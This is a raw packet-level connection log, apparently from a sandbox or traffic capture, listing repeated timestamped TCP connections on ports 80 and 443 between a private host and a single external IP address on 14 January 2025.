Jan 14, 2025 08:25:00.817056894 CET	50035	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:00.817079067 CET	443	50035	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:00.942909956 CET	50037	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:00.947829008 CET	80	50037	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:00.947946072 CET	50037	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:00.948046923 CET	50037	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:00.949740887 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:00.952934027 CET	80	50037	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:00.953003883 CET	50037	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:00.954536915 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:01.260628939 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:01.273149967 CET	50038	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:01.273192883 CET	443	50038	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:01.273264885 CET	50038	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:01.273560047 CET	50038	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:01.273572922 CET	443	50038	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:01.313235044 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.169172049 CET	443	50038	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:02.169327021 CET	50038	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.170624018 CET	50038	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.170631886 CET	443	50038	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:02.170866966 CET	443	50038	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:02.172055006 CET	50038	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.215327978 CET	443	50038	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:02.765219927 CET	443	50038	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:02.765878916 CET	443	50038	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:02.766197920 CET	50038	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.766275883 CET	50038	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.766285896 CET	443	50038	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:02.766330957 CET	50038	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.766336918 CET	443	50038	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:02.894567013 CET	50039	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.899851084 CET	80	50039	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:02.900418043 CET	50039	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.900557995 CET	50039	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.905719042 CET	80	50039	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:02.905786037 CET	50039	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.953073978 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:02.958100080 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:03.281265974 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:03.285695076 CET	50040	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:03.285763025 CET	443	50040	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:03.285867929 CET	50040	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:03.286144972 CET	50040	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:03.286168098 CET	443	50040	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:03.338253975 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.209065914 CET	443	50040	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:04.209196091 CET	50040	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.342977047 CET	50040	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.343027115 CET	443	50040	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:04.343425035 CET	443	50040	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:04.344986916 CET	50040	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.387331009 CET	443	50040	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:04.807275057 CET	443	50040	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:04.807380915 CET	443	50040	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:04.807450056 CET	50040	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.807630062 CET	50040	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.807663918 CET	443	50040	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:04.807677984 CET	50040	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.807683945 CET	443	50040	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:04.945477009 CET	50041	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.950706005 CET	80	50041	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:04.950803041 CET	50041	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.951702118 CET	50041	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.958390951 CET	80	50041	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:04.958492994 CET	50041	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.962333918 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:04.968367100 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:05.274292946 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:05.275890112 CET	50042	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:05.275935888 CET	443	50042	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:05.276031017 CET	50042	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:05.276375055 CET	50042	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:05.276391983 CET	443	50042	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:05.316296101 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.190509081 CET	443	50042	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:06.190632105 CET	50042	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.192317009 CET	50042	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.192327976 CET	443	50042	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:06.192574978 CET	443	50042	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:06.193768024 CET	50042	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.235343933 CET	443	50042	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:06.777738094 CET	443	50042	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:06.778229952 CET	443	50042	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:06.778285980 CET	50042	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.779130936 CET	50042	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.779143095 CET	443	50042	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:06.779154062 CET	50042	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.779158115 CET	443	50042	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:06.904841900 CET	50043	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.909754038 CET	80	50043	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:06.909861088 CET	50043	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.909948111 CET	50043	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.911449909 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.914977074 CET	80	50043	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:06.915026903 CET	50043	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:06.916275978 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:07.222122908 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:07.223572016 CET	50044	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:07.223617077 CET	443	50044	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:07.223723888 CET	50044	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:07.224047899 CET	50044	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:07.224060059 CET	443	50044	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:07.262232065 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.118789911 CET	443	50044	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:08.118908882 CET	50044	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.120249987 CET	50044	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.120263100 CET	443	50044	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:08.120512009 CET	443	50044	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:08.122103930 CET	50044	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.163346052 CET	443	50044	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:08.700191975 CET	443	50044	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:08.700654984 CET	443	50044	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:08.700721025 CET	50044	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.700803995 CET	50044	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.700822115 CET	443	50044	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:08.700833082 CET	50044	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.700839043 CET	443	50044	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:08.828789949 CET	50045	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.833782911 CET	80	50045	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:08.833909988 CET	50045	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.834014893 CET	50045	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.835870981 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.838968039 CET	80	50045	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:08.839046001 CET	50045	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:08.840702057 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:09.146507978 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:09.147881985 CET	50046	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:09.147936106 CET	443	50046	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:09.148019075 CET	50046	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:09.148694038 CET	50046	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:09.148710012 CET	443	50046	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:09.196225882 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.033031940 CET	443	50046	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:10.033108950 CET	50046	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.034545898 CET	50046	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.034553051 CET	443	50046	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:10.034835100 CET	443	50046	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:10.036053896 CET	50046	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.083347082 CET	443	50046	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:10.618496895 CET	443	50046	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:10.618632078 CET	443	50046	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:10.618918896 CET	50046	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.619446993 CET	50046	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.619469881 CET	443	50046	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:10.619483948 CET	50046	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.619489908 CET	443	50046	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:10.745249987 CET	50047	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.750161886 CET	80	50047	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:10.750293016 CET	50047	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.750463009 CET	50047	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.752278090 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.755310059 CET	80	50047	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:10.755392075 CET	50047	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:10.757112026 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:11.062268019 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:11.064024925 CET	50048	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:11.064074039 CET	443	50048	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:11.064133883 CET	50048	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:11.064548969 CET	50048	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:11.064569950 CET	443	50048	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:11.110292912 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:11.977865934 CET	443	50048	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:11.978018045 CET	50048	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:11.985651970 CET	50048	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:11.985668898 CET	443	50048	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:11.985913038 CET	443	50048	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:11.987088919 CET	50048	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:12.027339935 CET	443	50048	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:12.576062918 CET	443	50048	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:12.576345921 CET	443	50048	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:12.576400995 CET	50048	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:12.577066898 CET	50048	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:12.577078104 CET	443	50048	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:12.577088118 CET	50048	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:12.577095032 CET	443	50048	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:12.701963902 CET	50049	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:12.706828117 CET	80	50049	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:12.706984997 CET	50049	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:12.727524996 CET	50049	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:12.729248047 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:12.732448101 CET	80	50049	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:12.732522011 CET	50049	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:12.734092951 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:13.039334059 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:13.058043957 CET	50050	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:13.058088064 CET	443	50050	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:13.058159113 CET	50050	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:13.061594963 CET	50050	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:13.061614990 CET	443	50050	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:13.093761921 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:13.976324081 CET	443	50050	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:13.976443052 CET	50050	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:13.977571964 CET	50050	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:13.977576971 CET	443	50050	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:13.977780104 CET	443	50050	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:13.978873014 CET	50050	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:14.019380093 CET	443	50050	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:14.564456940 CET	443	50050	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:14.564732075 CET	443	50050	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:14.564790964 CET	50050	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:14.564832926 CET	50050	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:14.564847946 CET	443	50050	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:14.564867020 CET	50050	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:14.564872980 CET	443	50050	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:14.691543102 CET	50051	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:14.696408033 CET	80	50051	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:14.696499109 CET	50051	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:14.696657896 CET	50051	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:14.698240042 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:14.701425076 CET	80	50051	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:14.701486111 CET	50051	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:14.703012943 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:15.008749008 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:15.010226011 CET	50052	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:15.010277033 CET	443	50052	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:15.010377884 CET	50052	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:15.010682106 CET	50052	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:15.010693073 CET	443	50052	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:15.059273005 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:15.909378052 CET	443	50052	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:15.909470081 CET	50052	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:15.910881042 CET	50052	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:15.910891056 CET	443	50052	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:15.911115885 CET	443	50052	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:15.912694931 CET	50052	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:15.959338903 CET	443	50052	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:16.498953104 CET	443	50052	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:16.499048948 CET	443	50052	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:16.499124050 CET	50052	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.499253988 CET	50052	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.499278069 CET	443	50052	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:16.499288082 CET	50052	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.499294043 CET	443	50052	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:16.613754988 CET	50054	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.618588924 CET	80	50054	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:16.624418020 CET	50054	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.624526024 CET	50054	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.629475117 CET	80	50054	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:16.629534006 CET	50054	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.684869051 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.689744949 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:16.995081902 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:16.996535063 CET	50055	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.996582031 CET	443	50055	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:16.996659040 CET	50055	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.996988058 CET	50055	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:16.997005939 CET	443	50055	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:17.038249016 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:17.885170937 CET	443	50055	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:17.885246038 CET	50055	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:17.886910915 CET	50055	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:17.886921883 CET	443	50055	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:17.887203932 CET	443	50055	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:17.888561964 CET	50055	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:17.931333065 CET	443	50055	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:18.466707945 CET	443	50055	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:18.467063904 CET	443	50055	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:18.467251062 CET	50055	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.467251062 CET	50055	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.467251062 CET	50055	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.580634117 CET	50056	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.585586071 CET	80	50056	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:18.585745096 CET	50056	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.585907936 CET	50056	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.587634087 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.590697050 CET	80	50056	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:18.590771914 CET	50056	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.592550993 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:18.780262947 CET	50055	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.780287981 CET	443	50055	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:18.898366928 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:18.899849892 CET	50057	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.899888992 CET	443	50057	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:18.899974108 CET	50057	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.900295019 CET	50057	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:18.900305033 CET	443	50057	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:18.940294027 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:19.825254917 CET	443	50057	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:19.825409889 CET	50057	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:19.826690912 CET	50057	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:19.826713085 CET	443	50057	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:19.826972008 CET	443	50057	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:19.828574896 CET	50057	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:19.871349096 CET	443	50057	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.425698996 CET	443	50057	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.425777912 CET	443	50057	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.425942898 CET	50057	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.426496029 CET	50057	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.426515102 CET	443	50057	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.426526070 CET	50057	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.426532984 CET	443	50057	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.541721106 CET	50058	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.546899080 CET	80	50058	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.546989918 CET	50058	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.547105074 CET	50058	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.549110889 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.552237034 CET	80	50058	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.552297115 CET	50058	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.554029942 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.859464884 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.860903978 CET	50059	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.860946894 CET	443	50059	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.861020088 CET	50059	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.861352921 CET	50059	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:20.861366987 CET	443	50059	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:20.907253981 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:21.755098104 CET	443	50059	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:21.755181074 CET	50059	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:21.756541014 CET	50059	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:21.756552935 CET	443	50059	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:21.756795883 CET	443	50059	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:21.757968903 CET	50059	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:21.799391031 CET	443	50059	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.338772058 CET	443	50059	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.339052916 CET	443	50059	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.339117050 CET	50059	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.339216948 CET	50059	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.339234114 CET	443	50059	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.339248896 CET	50059	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.339255095 CET	443	50059	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.452927113 CET	50060	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.457781076 CET	80	50060	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.457906961 CET	50060	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.465686083 CET	50060	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.470490932 CET	80	50060	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.470546007 CET	50060	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.496917009 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.501797915 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.807887077 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.809324980 CET	50061	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.809381008 CET	443	50061	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.809454918 CET	50061	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.809767008 CET	50061	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:22.809781075 CET	443	50061	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:22.855272055 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:23.714478016 CET	443	50061	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:23.714601994 CET	50061	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:23.715868950 CET	50061	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:23.715902090 CET	443	50061	166.62.27.188	192.168.2.6
